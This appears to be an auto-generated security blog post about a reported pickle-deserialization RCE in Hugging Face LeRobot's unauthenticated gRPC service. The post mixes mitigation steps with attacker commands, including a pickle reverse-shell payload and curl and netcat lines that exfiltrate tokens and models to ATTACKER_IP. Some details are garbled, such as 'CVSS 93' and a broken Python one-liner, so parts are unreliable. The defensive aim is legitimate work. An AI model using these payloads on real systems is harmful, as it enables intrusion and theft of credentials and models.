Critical RCE in Hugging Face LeRobot: Unauthenticated gRPC + Pickle Deserialization (CVSS 93) + Video

Listen to this Post

Featured Image

Introduction:

A recently disclosed critical vulnerability (CVSS 9.3) in Hugging Face’s LeRobot framework allows remote code execution through the combination of unauthenticated gRPC communication (no TLS) and unsafe deserialization of Python pickle data. This flaw exposes any server or robot running vulnerable LeRobot instances to a full takeover, where attackers can steal cryptographic keys, exfiltrate AI models, and even control physical robotic actuators. The core issue stems from trusting pickle-serialized payloads received over an insecure gRPC channel—a classic deserialization weakness elevated by the lack of authentication and encryption.

Learning Objectives:

  • Understand how pickle deserialization in Python leads to arbitrary code execution.
  • Identify insecure gRPC configurations (missing TLS and authentication) in LeRobot deployments.
  • Apply mitigation steps including gRPC TLS enforcement, pickle alternative serialization (JSON, Protobuf), and network isolation.

You Should Know:

  1. Anatomy of the Pickle RCE: Why `pickle.loads()` is dangerous

The Python `pickle` module is fundamentally unsafe when deserializing untrusted data. Attackers can craft a malicious pickle payload that, when unpickled, executes arbitrary system commands. LeRobot’s gRPC endpoint receiving model data or state updates uses pickle by default without any integrity or authenticity checks. This turns any unauthenticated network request into a remote shell.

Step‑by‑step guide to reproduce (for educational/defensive testing only):

Linux (attacker perspective):

 Generate a malicious pickle payload that runs a reverse shell
python3 -c "import pickle, base64, os; class RCE: def <strong>reduce</strong>(self): return (os.system, ('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\"',)); print(base64.b64encode(pickle.dumps(RCE())).decode())"

This base64 string is sent to the gRPC service endpoint (e.g., lebot.control.v1.RobotService/UpdateState). Without TLS or auth, the server will deserialize it and execute the shell.

Windows (defensive – detecting pickle misuse):

 Search for unsafe pickle load patterns in LeRobot source
Get-ChildItem -Path C:\path\to\LeRobot -Recurse -Include .py | Select-String -Pattern "pickle.loads|pickle.load"
 Also check gRPC server configuration for insecure channel
Get-ChildItem -Path C:\path\to\LeRobot -Recurse -Include .py | Select-String -Pattern "grpc.insecure_channel|server().add_insecure_port"

Mitigation: Replace pickle with `json` or `protobuf` for serialization. If pickle is unavoidable, add HMAC signing and validate the signature before unpickling.

  1. Unauthenticated gRPC: The missing TLS and Auth Layer

LeRobot’s default configuration binds a gRPC server on `0.0.0.0:50051` without any transport security (plaintext) and without token-based authentication. This means any network-adjacent or internet-facing instance is completely open. Attackers can enumerate gRPC methods using `grpcurl` and invoke dangerous RPCs.

Step‑by‑step guide to test for missing authentication:

Linux (using grpcurl):

 Install grpcurl
go install github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

List all services exposed
grpcurl -plaintext TARGET_IP:50051 list

Describe a service (e.g., RobotControl)
grpcurl -plaintext TARGET_IP:50051 describe leRobot.RobotControl

Invoke a method to fetch model data (no auth required)
grpcurl -plaintext -d '{"model_id":"malicious"}' TARGET_IP:50051 leRobot.RobotControl/GetModel

If this succeeds without any credentials, the system is vulnerable.

Windows (PowerShell with gRPC reflection):

 Using Invoke-Grpc (install via Install-Module -Name PSScriptTools)
$req = @{model_id = "malicious"} | ConvertTo-Json
Invoke-RestMethod -Uri "http://TARGET_IP:50051/leRobot.RobotControl/GetModel" -Method Post -Body $req -ContentType "application/grpc+json"

Hardening: Enforce TLS (server credentials) and implement mTLS or JWT-based authentication. Add an API gateway in front of gRPC that validates tokens.

  1. Model and Key Theft: Post‑exploitation on LeRobot Servers

Once RCE is achieved, attackers typically steal two things: (1) Hugging Face access tokens stored in environment variables or ~/.cache/huggingface/token, and (2) proprietary fine‑tuned models saved in `/models` or /data. These can be used to poison model supply chains or impersonate the victim on Hugging Face Hub.

Step‑by‑step guide to simulate an attacker’s post‑exploitation (defensive red team):

Linux (on compromised server):

 Find and exfiltrate Hugging Face token
cat ~/.cache/huggingface/token | base64 | curl -X POST -d @- http://ATTACKER_IP:8080/token
 Locate and compress all model directories
find / -type d -name "model" -exec tar czf models.tgz {} \; 2>/dev/null
 Exfiltrate via netcat
nc ATTACKER_IP 4445 < models.tgz

Windows (forensic detection):

 Check for unusual outbound connections using netstat
netstat -ano | findstr "ESTABLISHED" | findstr "ATTACKER_IP"
 Audit Hugging Face token file permissions
icacls "$env:USERPROFILE.cache\huggingface\token"
 Search for pickled model files accessed outside normal hours
Get-EventLog -LogName Security -InstanceId 4663 | Where-Object {$_.Message -like "pkl"}

Mitigation: Store tokens in Hardware Security Modules (HSM) or short-lived secrets managers (Vault). Implement network egress filtering to block exfiltration attempts.

  1. Robot Manipulation: From Code Execution to Physical Harm

LeRobot integrates with real robotic hardware (e.g., UR5, Franka Emika) via ROS or direct serial commands. An attacker with RCE can replay malicious motor commands, disable safety limiters, or cause destructive collisions. This elevates the vulnerability from data breach to physical safety incident.

Step‑by‑step guide to isolate LeRobot from production networks:

Linux (using iptables to restrict inbound gRPC):

 Allow only localhost and a specific trusted orchestrator IP
iptables -A INPUT -p tcp --dport 50051 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -s 192.168.1.100 -j ACCEPT
iptables -A INPUT -p tcp --dport 50051 -j DROP
 Log any rejected attempts
iptables -A INPUT -p tcp --dport 50051 -j LOG --log-prefix "gRPC blocked: "

Windows (using Windows Defender Firewall):

New-NetFirewallRule -DisplayName "Block Public gRPC" -Direction Inbound -LocalPort 50051 -Protocol TCP -Action Block -RemoteAddress Any
New-NetFirewallRule -DisplayName "Allow Trusted gRPC" -Direction Inbound -LocalPort 50051 -Protocol TCP -Action Allow -RemoteAddress "192.168.1.100"

Additionally, enforce a hardware emergency stop that cannot be overridden via software.

  1. Patching and Hardening: Interim Steps Before Official Fix

Hugging Face is expected to release a patch, but until then, administrators must apply compensating controls. These include disabling the gRPC server entirely if not needed, switching to REST API with TLS, or deploying a sidecar proxy that validates all incoming messages.

Step‑by‑step guide to implement a proxy-based validator (Envoy + Lua):

Linux (Envoy sidecar configuration for gRPC validation):

 envoy.yaml
static_resources:
listeners:
- name: listener_0
address:
socket_address: { address: 127.0.0.1, port_value: 8080 }
filter_chains:
- filters:
- name: envoy.filters.network.http_connection_manager
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
http_filters:
- name: envoy.filters.http.lua
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.http.lua.v3.Lua
inline_code: |
function envoy_on_request(request_handle)
local body = request_handle:body()
if string.find(body, "pickle") then
request_handle:respond({[":status"] = "403"},"Blocked unsafe serialization")
end
end
- name: envoy.filters.http.router
route_config:
virtual_hosts:
- name: backend
domains: [""]
routes:
- match: { prefix: "/" }
route: { cluster: leRobot_cluster }
clusters:
- name: leRobot_cluster
connect_timeout: 30s
type: STRICT_DNS
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: leRobot_cluster
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address: { address: leBot.internal, port_value: 50051 }

Run with: envoy -c envoy.yaml. Then point all clients to port 8080 with TLS termination.

What Undercode Say:

  • Pickle is a silent killer – Never trust pickle.loads() from network sources; use `json` or `protobuf` even if it requires rewriting legacy modules.
  • gRPC without TLS == public API – The convenience of insecure channels often outlives testing phases. Always enforce `grpc.secure_channel` and mutual TLS for production robotics.
  • Robotics vulnerabilities bridge cyber and physical – A CVSS 9.3 in a robotic framework can lead to broken hardware, personal injury, or industrial sabotage. Treat model-serving endpoints like critical infrastructure.

Prediction:

Within 12 months, we will see a surge in supply chain attacks targeting AI model serialization (pickle, joblib, torch.save) in MLOps pipelines. Regulatory bodies (e.g., EU AI Act) will mandate “deserialization safety” as a baseline requirement for any AI component interacting with physical systems. Frameworks like LeRobot will adopt capability-based security and sandboxed deserialization (e.g., `pickle.Unpickler` with restricted globals). However, legacy deployments will remain vulnerable for years, leading to at least one high‑profile industrial robot takeover incident by 2027.

▶️ Related Video (82% Match):

🎯Let’s Practice For Free:

IT/Security Reporter URL:

Reported By: Hackermohitkumar An – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky